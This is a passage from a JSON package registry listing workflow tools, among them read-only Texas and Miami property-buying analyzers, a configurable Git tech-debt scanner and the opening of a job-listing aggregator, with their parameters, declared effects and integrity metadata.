.census.gov","kind":"host","source":"inferred","count":1},{"name":"hazards.fema.gov","kind":"host","source":"inferred","count":1},{"name":"inspect","kind":"tool","source":"inferred","count":1},{"name":"last","kind":"tool","source":"inferred","count":1},{"name":"live","kind":"tool","source":"inferred","count":1},{"name":"never","kind":"tool","source":"inferred","count":1},{"name":"out","kind":"tool","source":"inferred","count":1},{"name":"overpass-api.de","kind":"host","source":"inferred","count":1},{"name":"overpass.kumi.systems","kind":"host","source":"inferred","count":1},{"name":"pharmacy","kind":"tool","source":"inferred","count":1},{"name":"releases","kind":"tool","source":"inferred","count":1},{"name":"rent","kind":"tool","source":"inferred","count":1},{"name":"school","kind":"tool","source":"inferred","count":1},{"name":"unavailable","kind":"tool","source":"inferred","count":1},{"name":"use","kind":"tool","source":"inferred","count":1},{"name":"verify","kind":"tool","source":"inferred","count":1},{"name":"www.fhfa.gov","kind":"host","source":"inferred","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/modiqo/offer-strategy-decision-room@0.1.1","reference":"modiqo/offer-strategy-decision-room@0.1.1","uri":"https://play.modiqo.ai/modiqo/offer-strategy-decision-room@0.1.1","manifest_uri":"https://play.modiqo.ai/modiqo/offer-strategy-decision-room@0.1.1","name":"offer-strategy-decision-room","title":"offer-strategy-decision-room","description":"Synthesizes exit liquidity, assessment exposure, seller-claim reliability, adjusted comparables, and micro-market scenarios from one provenance-preserving evidence pack into a bid ceiling, contingency package, evidence requests, and explicit walk triggers.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-property-tech","property-tech","job-offer-strategy","audience-property-buyers","effect-read-only"],"primary_domain":"domain-property-tech","author":"modiqo","version":"0.1.1","published_at":"2026-08-17T23:58:02.200089+00:00","visibility":"public","quality_score":0.650000035762787,"size_bytes":17030,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":2,"names":["analyze","verify_output"]},"parameters":[{"name":"evidence_file","type":"string","required":true,"description":"Absolute path to a version-1 JSON evidence pack with subject identity, source provenance, signal attribution, and normalized decision signals; see the packaged README.md"},{"name":"market","type":"string","required":true,"description":"Market profile: texas or miami","values":["texas","miami"]},{"name":"strict","type":"string","required":false,"default":"false","description":"Set true to fail unless at least three independent source families are available","values":["true","false"]}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4f197ff9993208a5f8a41753b50dc6bc3f09ac3b88c537c7b404af57e04edebf","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"deno","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/modiqo/micro-market-future-state-simulator@0.1.1","reference":"modiqo/micro-market-future-state-simulator@0.1.1","uri":"https://play.modiqo.ai/modiqo/micro-market-future-state-simulator@0.1.1","manifest_uri":"https://play.modiqo.ai/modiqo/micro-market-future-state-simulator@0.1.1","name":"micro-market-future-state-simulator","title":"micro-market-future-state-simulator","description":"Simulates bear, base, and bull micro-market states from supply pipeline, absorption, insurance and tax pressure, employment, climate exposure, and local planning evidence to identify the variables that can break an acquisition thesis.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-property-tech","property-tech","job-market-scenario-planning","audience-property-buyers","effect-read-only"],"primary_domain":"domain-property-tech","author":"modiqo","version":"0.1.1","published_at":"2026-08-17T23:57:58.216032+00:00","visibility":"public","quality_score":0.650000035762787,"size_bytes":17084,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":2,"names":["analyze","verify_output"]},"parameters":[{"name":"evidence_file","type":"string","required":true,"description":"Absolute path to a version-1 JSON evidence pack with subject identity, source provenance, signal attribution, and normalized decision signals; see the packaged README.md"},{"name":"market","type":"string","required":true,"description":"Market profile: texas or miami","values":["texas","miami"]},{"name":"strict","type":"string","required":false,"default":"false","description":"Set true to fail unless at least three independent source families are available","values":["true","false"]}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f190f6e5eddca63d6d704e8a31ea6b28ee5221cfbb973e73428fd9858bbef725","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"deno","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/modiqo/exit-liquidity-buyer-pool-compressor@0.1.1","reference":"modiqo/exit-liquidity-buyer-pool-compressor@0.1.1","uri":"https://play.modiqo.ai/modiqo/exit-liquidity-buyer-pool-compressor@0.1.1","manifest_uri":"https://play.modiqo.ai/modiqo/exit-liquidity-buyer-pool-compressor@0.1.1","name":"exit-liquidity-buyer-pool-compressor","title":"exit-liquidity-buyer-pool-compressor","description":"Measures how financing, warrantability, inventory, days-on-market, and sale-to-list evidence compress the future buyer pool for a Texas or Miami property; returns a resale-liquidity tier, pricing haircut range, contingencies, and walk triggers.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-property-tech","property-tech","job-exit-liquidity","audience-property-buyers","effect-read-only"],"primary_domain":"domain-property-tech","author":"modiqo","version":"0.1.1","published_at":"2026-08-17T23:57:33.945604+00:00","visibility":"public","quality_score":0.650000035762787,"size_bytes":17027,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":2,"names":["analyze","verify_output"]},"parameters":[{"name":"evidence_file","type":"string","required":true,"description":"Absolute path to a version-1 JSON evidence pack with subject identity, source provenance, signal attribution, and normalized decision signals; see the packaged README.md"},{"name":"market","type":"string","required":true,"description":"Market profile: texas or miami","values":["texas","miami"]},{"name":"strict","type":"string","required":false,"default":"false","description":"Set true to fail unless at least three independent source families are available","values":["true","false"]}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:9bb42043094848129b72147619dc9ff4b4cb529e0e25adc9be7c84ab695e0201","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"deno","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/modiqo/comparable-sale-reality-adjuster@0.1.1","reference":"modiqo/comparable-sale-reality-adjuster@0.1.1","uri":"https://play.modiqo.ai/modiqo/comparable-sale-reality-adjuster@0.1.1","manifest_uri":"https://play.modiqo.ai/modiqo/comparable-sale-reality-adjuster@0.1.1","name":"comparable-sale-reality-adjuster","title":"comparable-sale-reality-adjuster","description":"Re-underwrites comparable sales for recency, distance, condition, floor or view, HOA burden, distress, and financing quality to produce an evidence-weighted value range and offer adjustment for Texas and Miami properties.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-property-tech","property-tech","job-property-valuation","audience-property-buyers","effect-read-only"],"primary_domain":"domain-property-tech","author":"modiqo","version":"0.1.1","published_at":"2026-08-17T23:57:21.10341+00:00","visibility":"public","quality_score":0.650000035762787,"size_bytes":17073,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":2,"names":["analyze","verify_output"]},"parameters":[{"name":"evidence_file","type":"string","required":true,"description":"Absolute path to a version-1 JSON evidence pack with subject identity, source provenance, signal attribution, and normalized decision signals; see the packaged README.md"},{"name":"market","type":"string","required":true,"description":"Market profile: texas or miami","values":["texas","miami"]},{"name":"strict","type":"string","required":false,"default":"false","description":"Set true to fail unless at least three independent source families are available","values":["true","false"]}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b32cc51cfef85981399c125f30f637135398b1b084e4a3420face1a50d4e99f5","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"deno","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/modiqo/assessment-bomb-forecaster@0.1.1","reference":"modiqo/assessment-bomb-forecaster@0.1.1","uri":"https://play.modiqo.ai/modiqo/assessment-bomb-forecaster@0.1.1","manifest_uri":"https://play.modiqo.ai/modiqo/assessment-bomb-forecaster@0.1.1","name":"assessment-bomb-forecaster","title":"assessment-bomb-forecaster","description":"Forecasts low, base, and high per-unit special-assessment exposure from reserves, known projects, deductibles, insurance trends, and structural or milestone obligations for Texas and Miami acquisitions.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-property-tech","property-tech","job-assessment-risk","audience-property-buyers","effect-read-only"],"primary_domain":"domain-property-tech","author":"modiqo","version":"0.1.1","published_at":"2026-08-17T23:57:12.12574+00:00","visibility":"public","quality_score":0.650000035762787,"size_bytes":17029,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":2,"names":["analyze","verify_output"]},"parameters":[{"name":"evidence_file","type":"string","required":true,"description":"Absolute path to a version-1 JSON evidence pack with subject identity, source provenance, signal attribution, and normalized decision signals; see the packaged README.md"},{"name":"market","type":"string","required":true,"description":"Market profile: texas or miami","values":["texas","miami"]},{"name":"strict","type":"string","required":false,"default":"false","description":"Set true to fail unless at least three independent source families are available","values":["true","false"]}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4e81c0d5863a72ad265cdf9ec6d31a81c079c49b2070fcc86a7f674747085b1a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"deno","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/mahesh/tech-debt@1.60.0","reference":"mahesh/tech-debt@1.60.0","uri":"https://play.modiqo.ai/mahesh/tech-debt@1.60.0","manifest_uri":"https://play.modiqo.ai/mahesh/tech-debt@1.60.0","name":"tech-debt","title":"tech-debt","description":"Scans your repos for technical debt that piles up quietly -- old TODOs, suppressed lint warnings, skipped tests, leftover debug code, swallowed exceptions, deprecated stuff nobody removed, unpinned dependencies, and messy Python code. Tells you who wrote each one and how old it is, so you know who to ask and what is actually worth fixing. Works on one repo or a whole folder of them, supports your own custom patterns per class, and adds a hotspot view, an age and churn profile, a letter grade per repo, quick-win and abandoned-file lists, and an optional gate for CI that fails the build if a class gets out of hand. Pick exactly which classes run with classes_json, and every setting is validated once up front so a bad value stops the run with one clear message instead of failing in every repo. Also checks for CONTRIBUTING, .editorconfig and package-manager lockfiles, and warns when a shallow clone makes blame ages unreliable. Flags build output and editor droppings committed to Git, and can optionally hunt commented-out code and repeated blocks. Reports large tracked files, test-to-source ratio, stale branches, README staleness, lockfile drift, and commits whose message admits a hack or a revert. Identifies the licence by its text rather than only its filename, and can scan configuration files for markers too. Pick how much you want to hear about with one profile setting instead of tuning fifty. Re-checks its own detectors against bundled fixtures on every run and labels the report if they disagree.","owner":{"kind":"user","slug":"mahesh"},"registry_organization":"mahesh","tags":["typescript","git","technical-debt","todo","fixme","hack","lint-suppressions","skipped-tests","debug-leftovers","swallowed-exceptions","deprecations","manifest-pins","python-structure","hygiene","metrics","hotspots","churn","hot-debt","ownership","debt-delta","source-audit","shell","fan-out","multi-repo"],"primary_domain":"domain-uncategorized","author":"Mahesh Moholkar","version":"1.60.0","published_at":"2026-09-06T14:42:12.080526+00:00","visibility":"public","quality_score":1,"size_bytes":182052,"license":"MIT","stats":{"downloads":123,"installs":0},"steps":{"count":20,"names":["scan_churn","scan_hygiene","scan_metrics","scan_hot_debt","resolve_config","run_self_check","scan_repository","scan_duplication","probe_environment","scan_deprecations","scan_suppressions","verify_collection","scan_manifest_pins","scan_skipped_tests","scan_commented_code","scan_debug_leftovers","discover_repositories","scan_python_structure","scan_tracked_artifacts","scan_swallowed_exceptions"]},"parameters":[{"name":"root","type":"string","required":false,"default":".","description":"Path to one Git repository or a parent directory whose immediate children are Git repositories; relative paths use the invoking shell directory and the default is '.'."},{"name":"max_repos","type":"integer","required":false,"default":50,"description":"Maximum immediate child repositories to select for a parent-directory root, from 1 through 256, in deterministic name order after any repo_globs_json filter; a single repository root is never capped. Truncation is reported with repositories_total_seen, repositories_selected and a warning."},{"name":"repo_globs_json","type":"string","required":false,"default":"[]","description":"JSON string array of glob patterns matched against each candidate child repository's directory name (not its path); empty means no filter and current behavior is unchanged. Patterns matching zero discovered repositories fail closed."},{"name":"include_nested","type":"string","required":false,"default":"false","description":"When true, also discover Git repositories nested up to 4 levels below a parent-directory root (an org/team/repo layout or a monorepo of monorepos), stopping at every repository boundary so nested content is never double-counted; max_repos and repo_globs_json apply identically at every depth. Default false keeps immediate-children-only discovery: true or false."},{"name":"markers_json","type":"string","required":false,"default":"[\"TODO\",\"FIXME\",\"HACK\"]","description":"JSON string array of 2-32 character marker names for the marker-comment class."},{"name":"include_suppressions","type":"string","required":false,"default":"true","description":"Whether to scan for linter, type-checker, coverage and security suppressions: true or false."},{"name":"include_skipped_tests","type":"string","required":false,"default":"true","description":"Whether to scan test files for skipped, disabled or expected-failure tests: true or false."},{"name":"include_debug_leftovers","type":"string","required":false,"default":"true","description":"Whether to scan for interactive-debugger and trace statements left in source, everywhere (not test-scoped): true or false."},{"name":"include_swallowed_exceptions","type":"string","required":false,"default":"true","description":"Whether to scan for exception handlers that discard the error with no log, re-raise or real handling, everywhere (not test-scoped): true or false."},{"name":"include_deprecations","type":"string","required":false,"default":"true","description":"Whether to scan for deprecation markers (decorators, annotations, attributes and conventions across languages), everywhere (not test-scoped): true or false."},{"name":"include_manifest_pins","type":"string","required":false,"default":"true","description":"Whether to scan manifest files (requirements files, package.json, Cargo.toml, Gemfile, go.mod, composer.json) for unpinned or floating dependency declarations: true or false."},{"name":"include_hygiene","type":"string","required":false,"default":"true","description":"Whether to report the per-repository hygiene checklist (README, LICENSE, CHANGELOG, CI config, lint or pre-commit config, tests directory, .gitignore, CODEOWNERS, SECURITY.md): true or false."},{"name":"include_metrics","type":"string","required":false,"default":"true","description":"Whether to report per-repository size and metrics (lines of code per language, files over max_file_lines): true or false."},{"name":"max_file_lines","type":"integer","required":false,"default":800,"description":"Files with more lines than this are listed as oversize in the size report, from 1 through 1000000."},{"name":"include_untracked","type":"string","required":false,"default":"true","description":"Whether to include non-ignored untracked source files: true or false."},{"name":"extra_exclude_dirs_json","type":"string","required":false,"default":"[]","description":"JSON string array of additional directory names to exclude."},{"name":"max_file_bytes","type":"integer","required":false,"default":2097152,"description":"Maximum bytes per source file, from 1 through 16777216."},{"name":"max_files","type":"integer","required":false,"default":50000,"description":"Maximum Git-visible files per repository, from 1 through 500000; a repository above the bound fails closed."},{"name":"max_comments","type":"integer","required":false,"default":5000,"description":"Maximum matching lines per repository and debt class, from 1 through 100000; a repository above the bound fails closed."},{"name":"max_rows_per_class","type":"integer","required":false,"default":200,"description":"Maximum rows listed per debt class per repository in the output, from 1 through 10000; a class's counts and rollup totals stay exact and uncapped regardless of this listing cap. The tighter of this cap and the 64 KiB per-step output budget wins, with the reason distinguishable in the JSON output."},{"name":"as_of_utc","type":"string","required":false,"default":"","description":"Optional ISO-8601 timestamp with timezone for reproducible age calculations; empty uses run start."},{"name":"top_n","type":"integer","required":false,"default":10,"description":"How many owners and hotspot directories to list in the hotspot view, from 1 through 100."},{"name":"since_ref","type":"string","required":false,"default":"","description":"Optional git ref (tag, branch or commit, e.g. v1.2.0 or HEAD~20) to diff against, or the literal '@latest-tag' to resolve the most recent tag reachable from HEAD independently per repository; every class reports debt added, removed and persisting since that ref. Empty disables the delta. A ref missing in one repository of a collection, or a repository with no reachable tag when using @latest-tag, is reported as unavailable for that repository, not fatal."},{"name":"history_refs_json","type":"string","required":false,"default":"[]","description":"JSON array of extra git refs (tags, branches, commits, or the literal '@latest-tag' for the most recent tag reachable from HEAD, e.g. '[\"v1.0\",\"@latest-tag\"]') to total each class's debt count at, building a trend across history; independent of since_ref and not deduplicated against it. Empty array disables the trend. At most 16 entries, duplicates within the list collapse to one; each must be a non-empty plain ref name under 200 characters. A ref missing in one repository of a collection, or a repository with no reachable tag when using @latest-tag, is reported as unavailable for that repository, not fatal."},{"name":"max_debt_per_class","type":"integer","required":false,"default":0,"description":"CI gate, per class per repository, from 0 through 100000; 0 disables it. When a class's exact debt count exceeds this value in a repository, that class's scan step exits nonzero with a diagnostic naming the class, the count and the repository, and downstream verification is BLOCKED. Distinct from max_comments, which is a safety bound that aborts mid-scan on runaway input rather than a policy check on the completed exact count."},{"name":"include_docs","type":"string","required":false,"default":"false","description":"When true, marker scanning also covers Markdown, reStructuredText, plain-text and AsciiDoc files, reported as a separate docs count. Default off since docs markers are rarely actionable the same way code markers are."},{"name":"include_python_structure","type":"string","required":false,"default":"true","description":"Whether to scan .py files for Python function-structure smells (long functions, too many parameters, deep nesting, mutable default arguments, bare except clauses, global statements); every other language is unaffected and a repository with no .py files reports a clean zero count: true or false."},{"name":"profile","type":"string","required":false,"default":"balanced","description":"Preset that sets a coherent group of parameters at once: balanced is the default shape, strict additionally turns on the opt-in heuristics and the docs and config markers, and noisy is strict with the row and listing caps raised for digging in. Every individual parameter still works, and one you pass explicitly always wins over the preset."},{"name":"include_config","type":"string","required":false,"default":"false","description":"Whether marker scanning also covers configuration files (.ini, .cfg, .conf, .properties, .toml and .env.example style templates), reported as their own count separate from code and docs: true or false. Manifest files and real dotenv files are deliberately excluded, since those are already covered by the manifest-pins and tracked-artifacts classes."},{"name":"human_max_rows","type":"integer","required":false,"default":50,"description":"Maximum repository rows listed in the human portfolio table, from 1 through 1000. A listing budget only - every count, the JSON document and the CI gate are unaffected, and the table declares when it was capped."},{"name":"owner_map_json","type":"string","required":false,"default":"{}","description":"JSON object mapping a blame author or email to a team name, for example {\"alice@example.com\": \"Platform\"}. Ownership tables then report teams instead of individuals. Matching is case-insensitive, an unmapped author keeps their own name rather than being bucketed into an catch-all, and each row still records the real committer."},{"name":"baseline_json","type":"string","required":false,"default":"","description":"JSON object mapping a file path to the number of findings already accepted there, for example {\"src/legacy.ts\": 12}. With a baseline in force the CI gate counts only debt above each file recorded number, so existing debt does not fail the build forever while new debt in those same files still does. Counts in the report always stay the true totals."},{"name":"max_blob_kb","type":"integer","required":false,"default":512,"description":"Size in kilobytes above which a tracked file is reported as a large blob, from 1 through 1048576. Measured from the Git object database, so it reflects what every clone pays for rather than what the working tree happens to hold. Images, fonts and media are still listed but marked as expected."},{"name":"stale_branch_days","type":"integer","required":false,"default":90,"description":"Age in days above which a local branch is reported as stale, from 1 through 3650. The current branch is never reported. Read-only, nothing is ever deleted or rewritten."},{"name":"include_tracked_artifacts","type":"string","required":false,"default":"true","description":"Whether to report build output, editor droppings and vendored trees that are committed to Git (dist/, build/, node_modules/, *.min.js, *.map, .DS_Store, *.log and similar): true or false. Judged by path rather than file contents, and only ever applied to files Git actually tracks, so an uncommitted local build directory is never reported."},{"name":"include_commented_code","type":"string","required":false,"default":"false","description":"Whether to report blocks of commented-out code (at least three consecutive comment lines that look like code rather than prose): true or false. Off by default because it is a heuristic -- documentation that quotes code can look the same -- so turn it on deliberately when you want it."},{"name":"include_duplication","type":"string","required":false,"default":"false","description":"Whether to report repeated six-line blocks within a file, compared after normalising whitespace: true or false. Off by default because it is a heuristic and intentionally intra-file only; boilerplate that legitimately repeats will show up here."},{"name":"max_function_lines","type":"integer","required":false,"default":60,"description":"A Python function longer than this many lines is reported as long-function, from 1 through 10000."},{"name":"max_function_args","type":"integer","required":false,"default":6,"description":"A Python function with more parameters than this is reported as too-many-args, from 1 through 255."},{"name":"max_nesting_depth","type":"integer","required":false,"default":4,"description":"A Python function with branch or loop nesting deeper than this is reported as deep-nesting, from 1 through 100."},{"name":"classes_json","type":"string","required":false,"default":"[]","description":"JSON string array naming exactly which debt classes to scan (markers, suppressions, skipped-tests, debug-leftovers, swallowed-exceptions, deprecations, manifest-pins, python-structure); empty keeps the individual include_* knobs in charge. When set it wins over every include_* knob, including markers, and the hot-debt cross follows the same list. Unknown or repeated names fail closed before any repository is scanned."},{"name":"include_churn","type":"string","required":false,"default":"true","description":"Whether to rank current-tree source files by commit count over churn_days (git log, no debt matching); a repository with no commits yet or outside the window reports a clean unavailable or zero result rather than an error: true or false."},{"name":"churn_days","type":"integer","required":false,"default":90,"description":"How many days before as_of_utc to count commits per file for the churn hotspots view, from 1 through 3650."},{"name":"hot_debt_top_n","type":"integer","required":false,"default":20,"description":"How many files to list in the hot-debt cross (churn x debt) ranking, from 1 through 1000; a repository's exact matching file count is never capped by this, only the listing. Separate from top_n since hot-debt operates at file granularity while top_n ranks owners and directories."},{"name":"weights_json","type":"string","required":false,"default":"{}","description":"JSON object mapping a debt class name to its weight in the composite debt score, e.g. {\"markers\": 2.0}; omitted classes default to 1.0, empty object means every class weighted equally. Each weight must be a finite number from 0 through 1000; an unknown class name or an out-of-range weight fails the run closed."},{"name":"exclude_globs_json","type":"string","required":false,"default":"[]","description":"JSON array of path-glob patterns (fnmatch, case-sensitive, / allowed and matched literally, not gitignore semantics: * matches across / too) matched against every file relative to its repository root; a matching file is excluded from every scan, metrics, churn and hot-debt read, including the since_ref delta baseline. Empty array means no filter. At most 64 patterns; each must be non-empty, relative (no leading /), and free of .. segments. For gitignore-style rules committed alongside the code, see honor_ignore_file / .techdebtignore."},{"name":"honor_ignore_file","type":"string","required":false,"default":"true","description":"Whether to read and apply a .techdebtignore file from each repository's working tree, gitignore-style (comments, blank lines, negation with !, a parent directory's exclusion cannot be re-included, * and ? do not cross /, ** matches any depth): true or false. Combines with exclude_globs_json (a caller parameter always outranks a rule in a repo file, so a .techdebtignore negation can never re-include a path exclude_globs_json already excluded). A malformed or oversize .techdebtignore fails the run closed; false skips reading it at all."},{"name":"extra_patterns_json","type":"string","required":false,"default":"[]","description":"JSON array of {\"label\", \"regex\", \"class\", \"extensions\"} objects layering user-defined regex patterns onto one of six classes (markers, suppressions, skipped-tests, debug-leftovers, swallowed-exceptions, deprecations; manifest-pins and python-structure are not line-regex scans and are rejected). label must be ^[A-Za-z][A-Za-z0-9_-]{0,63}$ and not collide with a built-in label of that class; regex must compile, be 1-512 characters, and never match the empty string (.* or a* would tag every line); extensions, if given, restricts the pattern to those file extensions (omitted or empty means every file the class already scans). At most 32 entries; each field is validated before any scan runs."},{"name":"min_age_days","type":"integer","required":false,"default":0,"description":"Only include a debt row whose blame age is at least this many days, from 0 through 36500; 0 means no lower bound. Combines with max_age_days as an inclusive range; a row with no resolvable blame age is never excluded by either bound."},{"name":"max_age_days","type":"integer","required":false,"default":0,"description":"Only include a debt row whose blame age is at most this many days, from 0 through 36500; 0 means no upper bound. Combines with min_age_days as an inclusive range; a row with no resolvable blame age is never excluded by either bound."},{"name":"authors_json","type":"string","required":false,"default":"[]","description":"JSON array of blame author strings (matched exactly against the blame identity already used for ownership/hotspots); when non-empty, only debt rows owned by one of these authors are included. Empty array means no filter. At most 128 entries, each 1-256 characters."},{"name":"sort_by","type":"string","required":false,"default":"file","description":"Listing order for rows within each class: file, age, type, author or severity. Severity puts the rows most worth reading first, which matters when a large class has its listing trimmed to fit the output budget: an unexplained blanket suppression outranks a targeted one, file-scoped outranks single-line, then oldest first. Ordering never changes the counts, only which rows are shown when the list is cut."},{"name":"summary_max_repos","type":"integer","required":false,"default":5,"description":"How many repositories the one-line --output=summary mentions by name before switching to a portfolio-level summary (count and top finding only), from 1 through 500. Only affects the summary representation; human and json outputs are unaffected."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d6a5879b4d49b35d315da70a52c13e452c73b069ce54dbb539d421b0fb73146a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":20,"kinds":{"api":0,"shell":20,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":15,"fan_out":1,"for_each_steps":15,"complexity":20,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":20}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sidships/headhunter@0.1.5","reference":"sidships/headhunter@0.1.5","uri":"https://play.modiqo.ai/sidships/headhunter@0.1.5","manifest_uri":"https://play.modiqo.ai/sidships/headhunter@0.1.5","name":"headhunter","title":"headhunter","description":"Every job scored with the evidence quoted back at you, a status column that is never overwritten, and a first run that works with zero setup. Headhunter sweeps HN Who's Hiring, YC companies hiring on HN, the SimplifyJobs intern and new-grad lists, and vanshb03's Summer2027 internships fork daily, scores every listing against your CV or an agent-built weighted profile, and merges into a living CSV plus an .xlsx twin (new rows highlighted, built stdlib-only). Finds the newest thread itself; vanished listings are marked stale, never deleted; salary reported only when the listing states it; junior profiles never drown in senior-only roles. Columns include india-location and visa-sponsorship flags. Three-stage design: your agent builds a weighted profile once (resources/profile-prompt.md), the play hunts deterministically, your agent re-ranks over the companion handoff file (resources/rerank-prompt.md). If an optional source is down the run degrades to a warning, never a dead run. Writes the CSV at csv_path, the xlsx twin, a .handoff.json beside the CSV, and ~/.headhunter.json which remembers your cv_path so bare reruns stay personal. A first run with no CV is clearly labelled a demo run and writes to -demo files instead, so the sheet you keep real applications in stays untouched until you point it at a real CV. Warns when a profile is older than 30 days. No adapters, no credentials, no keys; needs only curl and python3.","owner":{"kind":"user","slug":"sidships"},"registry_organization":"sidships","tags":["typescript","jobs","internships","career"],"primary_domain":"domain-uncategorized","author":"sidships","version":"0.1.5","published_at":"2026-09-04T15:12:19.668962+00:00","visibility":"public","quality_score":1,"size_bytes":28643,"license":null,"stats":{"downloads":81,"installs":0},"steps":{"count":8,"names":["cv_read","hn_jobs","yc_jobs","hn_thread","alt_intern","score_merge","simplify_intern","simplify_newgrad"]},"parameters":[{"name":"cv_path","type":"string","required":false,"default":"./cv.txt","description":"Path to your CV (plain text) or an agent-built profile.json. First run without it uses a bundled demo profile. Agent: offer to find the CV on disk (search cv*.pdf/docx/txt), convert to text, and build profile.json","example":"~/documents/cv.txt"},{"name":"csv_path","type":"string","required":false,"default":"~/headhunter.csv","description":"Where your living job sheet lives; kept and merged across daily runs. Agent: ask the user where they want it on first real run","example":"~/jobs/headhunter.csv"},{"name":"min_score","type":"integer","required":false,"default":"1","description":"Only add NEW rows scoring at least this (0-100); default 1 drops zero-match noise; set 0 to keep everything","example":"30"},{"name":"xlsx_path","type":"string","required":false,"default":"~/headhunter.xlsx","description":"Spreadsheet twin of the CSV with today-new rows highlighted; set empty to skip","example":"~/jobs/headhunter.xlsx"},{"name":"days_back","type":"integer","required":false,"default":"21","description":"Ignore postings older than this many days (unknown dates are kept)","example":"14"},{"name":"experience","type":"string","required":false,"default":"auto","description":"Your level: junior|mid|senior|any|auto. Senior-only roles are capped for junior profiles (and noted in evidence) instead of topping your 